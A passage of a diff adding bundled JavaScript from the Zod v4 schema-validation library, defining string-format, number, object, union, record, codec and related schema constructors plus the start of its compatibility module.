$ZodStringFormat.init(inst, def); + _ZodString.init(inst, def); +}); +var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { + $ZodEmail.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function email2(params) { + return _email(ZodEmail, params); +} +var ZodGUID = /* @__PURE__ */ $constructor("ZodGUID", (inst, def) => { + $ZodGUID.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function guid2(params) { + return _guid(ZodGUID, params); +} +var ZodUUID = /* @__PURE__ */ $constructor("ZodUUID", (inst, def) => { + $ZodUUID.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function uuid2(params) { + return _uuid(ZodUUID, params); +} +function uuidv4(params) { + return _uuidv4(ZodUUID, params); +} +function uuidv6(params) { + return _uuidv6(ZodUUID, params); +} +function uuidv7(params) { + return _uuidv7(ZodUUID, params); +} +var ZodURL = /* @__PURE__ */ $constructor("ZodURL", (inst, def) => { + $ZodURL.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function url(params) { + return _url(ZodURL, params); +} +function httpUrl(params) { + return _url(ZodURL, { + protocol: regexes_exports.httpProtocol, + hostname: regexes_exports.domain, + ...util_exports.normalizeParams(params) + }); +} +var ZodEmoji = /* @__PURE__ */ $constructor("ZodEmoji", (inst, def) => { + $ZodEmoji.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function emoji2(params) { + return _emoji2(ZodEmoji, params); +} +var ZodNanoID = /* @__PURE__ */ $constructor("ZodNanoID", (inst, def) => { + $ZodNanoID.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function nanoid2(params) { + return _nanoid(ZodNanoID, params); +} +var ZodCUID = /* @__PURE__ */ $constructor("ZodCUID", (inst, def) => { + $ZodCUID.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function cuid3(params) { + return _cuid(ZodCUID, params); +} +var ZodCUID2 = /* @__PURE__ */ $constructor("ZodCUID2", (inst, def) => { + $ZodCUID2.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function cuid22(params) { + return _cuid2(ZodCUID2, params); +} +var ZodULID = /* @__PURE__ */ $constructor("ZodULID", (inst, def) => { + $ZodULID.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function ulid2(params) { + return _ulid(ZodULID, params); +} +var ZodXID = /* @__PURE__ */ $constructor("ZodXID", (inst, def) => { + $ZodXID.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function xid2(params) { + return _xid(ZodXID, params); +} +var ZodKSUID = /* @__PURE__ */ $constructor("ZodKSUID", (inst, def) => { + $ZodKSUID.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function ksuid2(params) { + return _ksuid(ZodKSUID, params); +} +var ZodIPv4 = /* @__PURE__ */ $constructor("ZodIPv4", (inst, def) => { + $ZodIPv4.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function ipv42(params) { + return _ipv4(ZodIPv4, params); +} +var ZodMAC = /* @__PURE__ */ $constructor("ZodMAC", (inst, def) => { + $ZodMAC.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function mac2(params) { + return _mac(ZodMAC, params); +} +var ZodIPv6 = /* @__PURE__ */ $constructor("ZodIPv6", (inst, def) => { + $ZodIPv6.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function ipv62(params) { + return _ipv6(ZodIPv6, params); +} +var ZodCIDRv4 = /* @__PURE__ */ $constructor("ZodCIDRv4", (inst, def) => { + $ZodCIDRv4.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function cidrv42(params) { + return _cidrv4(ZodCIDRv4, params); +} +var ZodCIDRv6 = /* @__PURE__ */ $constructor("ZodCIDRv6", (inst, def) => { + $ZodCIDRv6.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function cidrv62(params) { + return _cidrv6(ZodCIDRv6, params); +} +var ZodBase64 = /* @__PURE__ */ $constructor("ZodBase64", (inst, def) => { + $ZodBase64.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function base642(params) { + return _base64(ZodBase64, params); +} +var ZodBase64URL = /* @__PURE__ */ $constructor("ZodBase64URL", (inst, def) => { + $ZodBase64URL.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function base64url2(params) { + return _base64url(ZodBase64URL, params); +} +var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { + $ZodE164.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function e1642(params) { + return _e164(ZodE164, params); +} +var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { + $ZodJWT.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function jwt(params) { + return _jwt(ZodJWT, params); +} +var ZodCustomStringFormat = /* @__PURE__ */ $constructor("ZodCustomStringFormat", (inst, def) => { + $ZodCustomStringFormat.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function stringFormat(format, fnOrRegex, _params = {}) { + return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); +} +function hostname2(_params) { + return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); +} +function hex2(_params) { + return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); +} +function hash(alg, params) { + const enc = params?.enc ?? "hex"; + const format = `${alg}_${enc}`; + const regex = regexes_exports[format]; + if (!regex) + throw new Error(`Unrecognized hash format: ${format}`); + return _stringFormat(ZodCustomStringFormat, format, regex, params); +} +var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + _installLazyMethods(inst, "ZodNumber", { + gt(value, params) { + return this.check(_gt(value, params)); + }, + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + int(params) { + return this.check(int(params)); + }, + safe(params) { + return this.check(int(params)); + }, + positive(params) { + return this.check(_gt(0, params)); + }, + nonnegative(params) { + return this.check(_gte(0, params)); + }, + negative(params) { + return this.check(_lt(0, params)); + }, + nonpositive(params) { + return this.check(_lte(0, params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + }, + step(value, params) { + return this.check(_multipleOf(value, params)); + }, + finite() { + return this; + } + }); + const bag = inst._zod.bag; + inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; + inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; + inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); + inst.isFinite = true; + inst.format = bag.format ?? null; +}); +function number2(params) { + return _number(ZodNumber, params); +} +var ZodNumberFormat = /* @__PURE__ */ $constructor("ZodNumberFormat", (inst, def) => { + $ZodNumberFormat.init(inst, def); + ZodNumber.init(inst, def); +}); +function int(params) { + return _int(ZodNumberFormat, params); +} +function float32(params) { + return _float32(ZodNumberFormat, params); +} +function float64(params) { + return _float64(ZodNumberFormat, params); +} +function int32(params) { + return _int32(ZodNumberFormat, params); +} +function uint32(params) { + return _uint32(ZodNumberFormat, params); +} +var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { + $ZodBoolean.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => booleanProcessor(inst, ctx, json3, params); +}); +function boolean2(params) { + return _boolean(ZodBoolean, params); +} +var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + inst.gte = (value, params) => inst.check(_gte(value, params)); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.gt = (value, params) => inst.check(_gt(value, params)); + inst.gte = (value, params) => inst.check(_gte(value, params)); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.lt = (value, params) => inst.check(_lt(value, params)); + inst.lte = (value, params) => inst.check(_lte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + inst.positive = (params) => inst.check(_gt(BigInt(0), params)); + inst.negative = (params) => inst.check(_lt(BigInt(0), params)); + inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); + inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); + inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); + const bag = inst._zod.bag; + inst.minValue = bag.minimum ?? null; + inst.maxValue = bag.maximum ?? null; + inst.format = bag.format ?? null; +}); +function bigint2(params) { + return _bigint(ZodBigInt, params); +} +var ZodBigIntFormat = /* @__PURE__ */ $constructor("ZodBigIntFormat", (inst, def) => { + $ZodBigIntFormat.init(inst, def); + ZodBigInt.init(inst, def); +}); +function int64(params) { + return _int64(ZodBigIntFormat, params); +} +function uint64(params) { + return _uint64(ZodBigIntFormat, params); +} +var ZodSymbol = /* @__PURE__ */ $constructor("ZodSymbol", (inst, def) => { + $ZodSymbol.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => symbolProcessor(inst, ctx, json3, params); +}); +function symbol(params) { + return _symbol(ZodSymbol, params); +} +var ZodUndefined = /* @__PURE__ */ $constructor("ZodUndefined", (inst, def) => { + $ZodUndefined.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => undefinedProcessor(inst, ctx, json3, params); +}); +function _undefined3(params) { + return _undefined2(ZodUndefined, params); +} +var ZodNull = /* @__PURE__ */ $constructor("ZodNull", (inst, def) => { + $ZodNull.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => nullProcessor(inst, ctx, json3, params); +}); +function _null3(params) { + return _null2(ZodNull, params); +} +var ZodAny = /* @__PURE__ */ $constructor("ZodAny", (inst, def) => { + $ZodAny.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => anyProcessor(inst, ctx, json3, params); +}); +function any() { + return _any(ZodAny); +} +var ZodUnknown = /* @__PURE__ */ $constructor("ZodUnknown", (inst, def) => { + $ZodUnknown.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => unknownProcessor(inst, ctx, json3, params); +}); +function unknown() { + return _unknown(ZodUnknown); +} +var ZodNever = /* @__PURE__ */ $constructor("ZodNever", (inst, def) => { + $ZodNever.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => neverProcessor(inst, ctx, json3, params); +}); +function never(params) { + return _never(ZodNever, params); +} +var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { + $ZodVoid.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => voidProcessor(inst, ctx, json3, params); +}); +function _void2(params) { + return _void(ZodVoid, params); +} +var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + const c = inst._zod.bag; + inst.minDate = c.minimum ? new Date(c.minimum) : null; + inst.maxDate = c.maximum ? new Date(c.maximum) : null; +}); +function date3(params) { + return _date(ZodDate, params); +} +var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + $ZodArray.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); + inst.element = def.element; + _installLazyMethods(inst, "ZodArray", { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } + }); +}); +function array(element, params) { + return _array(ZodArray, element, params); +} +function keyof(schema) { + const shape = schema._zod.def.shape; + return _enum2(Object.keys(shape)); +} +var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + $ZodObjectJIT.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); + util_exports.defineLazy(inst, "shape", () => { + return def.shape; + }); + _installLazyMethods(inst, "ZodObject", { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone({ ...this._zod.def, catchall }); + }, + passthrough() { + return this.clone({ ...this._zod.def, catchall: unknown() }); + }, + loose() { + return this.clone({ ...this._zod.def, catchall: unknown() }); + }, + strict() { + return this.clone({ ...this._zod.def, catchall: never() }); + }, + strip() { + return this.clone({ ...this._zod.def, catchall: void 0 }); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } + }); +}); +function object(shape, params) { + const def = { + type: "object", + shape: shape ?? {}, + ...util_exports.normalizeParams(params) + }; + return new ZodObject(def); +} +function strictObject(shape, params) { + return new ZodObject({ + type: "object", + shape, + catchall: never(), + ...util_exports.normalizeParams(params) + }); +} +function looseObject(shape, params) { + return new ZodObject({ + type: "object", + shape, + catchall: unknown(), + ...util_exports.normalizeParams(params) + }); +} +var ZodUnion = /* @__PURE__ */ $constructor("ZodUnion", (inst, def) => { + $ZodUnion.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => unionProcessor(inst, ctx, json3, params); + inst.options = def.options; +}); +function union(options, params) { + return new ZodUnion({ + type: "union", + options, + ...util_exports.normalizeParams(params) + }); +} +var ZodXor = /* @__PURE__ */ $constructor("ZodXor", (inst, def) => { + ZodUnion.init(inst, def); + $ZodXor.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => unionProcessor(inst, ctx, json3, params); + inst.options = def.options; +}); +function xor(options, params) { + return new ZodXor({ + type: "union", + options, + inclusive: false, + ...util_exports.normalizeParams(params) + }); +} +var ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("ZodDiscriminatedUnion", (inst, def) => { + ZodUnion.init(inst, def); + $ZodDiscriminatedUnion.init(inst, def); +}); +function discriminatedUnion(discriminator, options, params) { + return new ZodDiscriminatedUnion({ + type: "union", + options, + discriminator, + ...util_exports.normalizeParams(params) + }); +} +var ZodIntersection = /* @__PURE__ */ $constructor("ZodIntersection", (inst, def) => { + $ZodIntersection.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => intersectionProcessor(inst, ctx, json3, params); +}); +function intersection(left, right) { + return new ZodIntersection({ + type: "intersection", + left, + right + }); +} +var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + $ZodTuple.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); + inst.rest = (rest) => inst.clone({ + ...inst._zod.def, + rest + }); +}); +function tuple(items, _paramsOrRest, _params) { + const hasRest = _paramsOrRest instanceof $ZodType; + const params = hasRest ? _params : _paramsOrRest; + const rest = hasRest ? _paramsOrRest : null; + return new ZodTuple({ + type: "tuple", + items, + rest, + ...util_exports.normalizeParams(params) + }); +} +var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + $ZodRecord.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); + inst.keyType = def.keyType; + inst.valueType = def.valueType; +}); +function record(keyType, valueType, params) { + if (!valueType || !valueType._zod) { + return new ZodRecord({ + type: "record", + keyType: string2(), + valueType: keyType, + ...util_exports.normalizeParams(valueType) + }); + } + return new ZodRecord({ + type: "record", + keyType, + valueType, + ...util_exports.normalizeParams(params) + }); +} +function partialRecord(keyType, valueType, params) { + const k = clone(keyType); + k._zod.values = void 0; + return new ZodRecord({ + type: "record", + keyType: k, + valueType, + ...util_exports.normalizeParams(params) + }); +} +function looseRecord(keyType, valueType, params) { + return new ZodRecord({ + type: "record", + keyType, + valueType, + mode: "loose", + ...util_exports.normalizeParams(params) + }); +} +var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + $ZodMap.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); + inst.keyType = def.keyType; + inst.valueType = def.valueType; + inst.min = (...args) => inst.check(_minSize(...args)); + inst.nonempty = (params) => inst.check(_minSize(1, params)); + inst.max = (...args) => inst.check(_maxSize(...args)); + inst.size = (...args) => inst.check(_size(...args)); +}); +function map(keyType, valueType, params) { + return new ZodMap({ + type: "map", + keyType, + valueType, + ...util_exports.normalizeParams(params) + }); +} +var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + $ZodSet.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); + inst.min = (...args) => inst.check(_minSize(...args)); + inst.nonempty = (params) => inst.check(_minSize(1, params)); + inst.max = (...args) => inst.check(_maxSize(...args)); + inst.size = (...args) => inst.check(_size(...args)); +}); +function set(valueType, params) { + return new ZodSet({ + type: "set", + valueType, + ...util_exports.normalizeParams(params) + }); +} +var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { + $ZodEnum.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); + inst.enum = def.entries; + inst.options = Object.values(def.entries); + const keys = new Set(Object.keys(def.entries)); + inst.extract = (values2, params) => { + const newEntries = {}; + for (const value of values2) { + if (keys.has(value)) { + newEntries[value] = def.entries[value]; + } else + throw new Error(`Key ${value} not found in enum`); + } + return new ZodEnum({ + ...def, + checks: [], + ...util_exports.normalizeParams(params), + entries: newEntries + }); + }; + inst.exclude = (values2, params) => { + const newEntries = { ...def.entries }; + for (const value of values2) { + if (keys.has(value)) { + delete newEntries[value]; + } else + throw new Error(`Key ${value} not found in enum`); + } + return new ZodEnum({ + ...def, + checks: [], + ...util_exports.normalizeParams(params), + entries: newEntries + }); + }; +}); +function _enum2(values2, params) { + const entries = Array.isArray(values2) ? Object.fromEntries(values2.map((v) => [v, v])) : values2; + return new ZodEnum({ + type: "enum", + entries, + ...util_exports.normalizeParams(params) + }); +} +function nativeEnum(entries, params) { + return new ZodEnum({ + type: "enum", + entries, + ...util_exports.normalizeParams(params) + }); +} +var ZodLiteral = /* @__PURE__ */ $constructor("ZodLiteral", (inst, def) => { + $ZodLiteral.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => literalProcessor(inst, ctx, json3, params); + inst.values = new Set(def.values); + Object.defineProperty(inst, "value", { + get() { + if (def.values.length > 1) { + throw new Error("This schema contains multiple valid literal values. Use `.values` instead."); + } + return def.values[0]; + } + }); +}); +function literal(value, params) { + return new ZodLiteral({ + type: "literal", + values: Array.isArray(value) ? value : [value], + ...util_exports.normalizeParams(params) + }); +} +var ZodFile = /* @__PURE__ */ $constructor("ZodFile", (inst, def) => { + $ZodFile.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => fileProcessor(inst, ctx, json3, params); + inst.min = (size2, params) => inst.check(_minSize(size2, params)); + inst.max = (size2, params) => inst.check(_maxSize(size2, params)); + inst.mime = (types2, params) => inst.check(_mime(Array.isArray(types2) ? types2 : [types2], params)); +}); +function file(params) { + return _file(ZodFile, params); +} +var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + $ZodTransform.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); + inst._zod.parse = (payload, _ctx) => { + if (_ctx.direction === "backward") { + throw new $ZodEncodeError(inst.constructor.name); + } + payload.addIssue = (issue2) => { + if (typeof issue2 === "string") { + payload.issues.push(util_exports.issue(issue2, payload.value, def)); + } else { + const _issue = issue2; + if (_issue.fatal) + _issue.continue = false; + _issue.code ?? (_issue.code = "custom"); + _issue.input ?? (_issue.input = payload.value); + _issue.inst ?? (_issue.inst = inst); + payload.issues.push(util_exports.issue(_issue)); + } + }; + const output = def.transform(payload.value, payload); + if (output instanceof Promise) { + return output.then((output2) => { + payload.value = output2; + payload.fallback = true; + return payload; + }); + } + payload.value = output; + payload.fallback = true; + return payload; + }; +}); +function transform(fn) { + return new ZodTransform({ + type: "transform", + transform: fn + }); +} +var ZodOptional = /* @__PURE__ */ $constructor("ZodOptional", (inst, def) => { + $ZodOptional.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => optionalProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; +}); +function optional(innerType) { + return new ZodOptional({ + type: "optional", + innerType + }); +} +var ZodExactOptional = /* @__PURE__ */ $constructor("ZodExactOptional", (inst, def) => { + $ZodExactOptional.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => optionalProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; +}); +function exactOptional(innerType) { + return new ZodExactOptional({ + type: "optional", + innerType + }); +} +var ZodNullable = /* @__PURE__ */ $constructor("ZodNullable", (inst, def) => { + $ZodNullable.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => nullableProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; +}); +function nullable(innerType) { + return new ZodNullable({ + type: "nullable", + innerType + }); +} +function nullish2(innerType) { + return optional(nullable(innerType)); +} +var ZodDefault = /* @__PURE__ */ $constructor("ZodDefault", (inst, def) => { + $ZodDefault.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => defaultProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; + inst.removeDefault = inst.unwrap; +}); +function _default2(innerType, defaultValue) { + return new ZodDefault({ + type: "default", + innerType, + get defaultValue() { + return typeof defaultValue === "function" ? defaultValue() : util_exports.shallowClone(defaultValue); + } + }); +} +var ZodPrefault = /* @__PURE__ */ $constructor("ZodPrefault", (inst, def) => { + $ZodPrefault.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => prefaultProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; +}); +function prefault(innerType, defaultValue) { + return new ZodPrefault({ + type: "prefault", + innerType, + get defaultValue() { + return typeof defaultValue === "function" ? defaultValue() : util_exports.shallowClone(defaultValue); + } + }); +} +var ZodNonOptional = /* @__PURE__ */ $constructor("ZodNonOptional", (inst, def) => { + $ZodNonOptional.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => nonoptionalProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; +}); +function nonoptional(innerType, params) { + return new ZodNonOptional({ + type: "nonoptional", + innerType, + ...util_exports.normalizeParams(params) + }); +} +var ZodSuccess = /* @__PURE__ */ $constructor("ZodSuccess", (inst, def) => { + $ZodSuccess.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => successProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; +}); +function success(innerType) { + return new ZodSuccess({ + type: "success", + innerType + }); +} +var ZodCatch = /* @__PURE__ */ $constructor("ZodCatch", (inst, def) => { + $ZodCatch.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => catchProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; + inst.removeCatch = inst.unwrap; +}); +function _catch2(innerType, catchValue) { + return new ZodCatch({ + type: "catch", + innerType, + catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + }); +} +var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { + $ZodNaN.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => nanProcessor(inst, ctx, json3, params); +}); +function nan(params) { + return _nan(ZodNaN, params); +} +var ZodPipe = /* @__PURE__ */ $constructor("ZodPipe", (inst, def) => { + $ZodPipe.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => pipeProcessor(inst, ctx, json3, params); + inst.in = def.in; + inst.out = def.out; +}); +function pipe(in_, out) { + return new ZodPipe({ + type: "pipe", + in: in_, + out + // ...util.normalizeParams(params), + }); +} +var ZodCodec = /* @__PURE__ */ $constructor("ZodCodec", (inst, def) => { + ZodPipe.init(inst, def); + $ZodCodec.init(inst, def); +}); +function codec(in_, out, params) { + return new ZodCodec({ + type: "pipe", + in: in_, + out, + transform: params.decode, + reverseTransform: params.encode + }); +} +function invertCodec(codec2) { + const def = codec2._zod.def; + return new ZodCodec({ + type: "pipe", + in: def.out, + out: def.in, + transform: def.reverseTransform, + reverseTransform: def.transform + }); +} +var ZodPreprocess = /* @__PURE__ */ $constructor("ZodPreprocess", (inst, def) => { + ZodPipe.init(inst, def); + $ZodPreprocess.init(inst, def); +}); +var ZodReadonly = /* @__PURE__ */ $constructor("ZodReadonly", (inst, def) => { + $ZodReadonly.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => readonlyProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; +}); +function readonly(innerType) { + return new ZodReadonly({ + type: "readonly", + innerType + }); +} +var ZodTemplateLiteral = /* @__PURE__ */ $constructor("ZodTemplateLiteral", (inst, def) => { + $ZodTemplateLiteral.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => templateLiteralProcessor(inst, ctx, json3, params); +}); +function templateLiteral(parts, params) { + return new ZodTemplateLiteral({ + type: "template_literal", + parts, + ...util_exports.normalizeParams(params) + }); +} +var ZodLazy = /* @__PURE__ */ $constructor("ZodLazy", (inst, def) => { + $ZodLazy.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => lazyProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.getter(); +}); +function lazy(getter) { + return new ZodLazy({ + type: "lazy", + getter + }); +} +var ZodPromise = /* @__PURE__ */ $constructor("ZodPromise", (inst, def) => { + $ZodPromise.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => promiseProcessor(inst, ctx, json3, params); + inst.unwrap = () => inst._zod.def.innerType; +}); +function promise(innerType) { + return new ZodPromise({ + type: "promise", + innerType + }); +} +var ZodFunction = /* @__PURE__ */ $constructor("ZodFunction", (inst, def) => { + $ZodFunction.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => functionProcessor(inst, ctx, json3, params); +}); +function _function(params) { + return new ZodFunction({ + type: "function", + input: Array.isArray(params?.input) ? tuple(params?.input) : params?.input ?? array(unknown()), + output: params?.output ?? unknown() + }); +} +var ZodCustom = /* @__PURE__ */ $constructor("ZodCustom", (inst, def) => { + $ZodCustom.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => customProcessor(inst, ctx, json3, params); +}); +function check(fn) { + const ch = new $ZodCheck({ + check: "custom" + // ...util.normalizeParams(params), + }); + ch._zod.check = fn; + return ch; +} +function custom(fn, _params) { + return _custom(ZodCustom, fn ?? (() => true), _params); +} +function refine(fn, _params = {}) { + return _refine(ZodCustom, fn, _params); +} +function superRefine(fn, params) { + return _superRefine(fn, params); +} +var describe2 = describe; +var meta2 = meta; +function _instanceof(cls, params = {}) { + const inst = new ZodCustom({ + type: "custom", + check: "custom", + fn: (data) => data instanceof cls, + abort: true, + ...util_exports.normalizeParams(params) + }); + inst._zod.bag.Class = cls; + inst._zod.check = (payload) => { + if (!(payload.value instanceof cls)) { + payload.issues.push({ + code: "invalid_type", + expected: cls.name, + input: payload.value, + inst, + path: [...inst._zod.def.path ?? []] + }); + } + }; + return inst; +} +var stringbool = (...args) => _stringbool({ + Codec: ZodCodec, + Boolean: ZodBoolean, + String: ZodString +}, ...args); +function json(params) { + const jsonSchema = lazy(() => { + return union([string2(params), number2(), boolean2(), _null3(), array(jsonSchema), record(string2(), jsonSchema)]); + }); + return jsonSchema; +} +function preprocess(fn, schema) { + return new ZodPreprocess({ + type: "pipe", + in: transform(fn), + out: schema + }); +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +var ZodIssueCode = { + invalid_type: "invalid_type", + too_big: "too_big", + too_small: "too_small", + invalid_format: "invalid_format", + not_multiple_of: "not_multiple_of", + unrecognized_keys: "unrecognized_keys", + invalid_union: "invalid_union", + invalid_key: "invalid_key", + invalid_element: "invalid_element", + invalid_value: "invalid_value", + custom: "custom" +}; +function setErrorMap(map2) { + config({ + customError: map2 + }); +} +function getErrorMap() { + return config().customError; +} +var ZodFirstPartyTypeKind; +/* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { +})(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); + +// 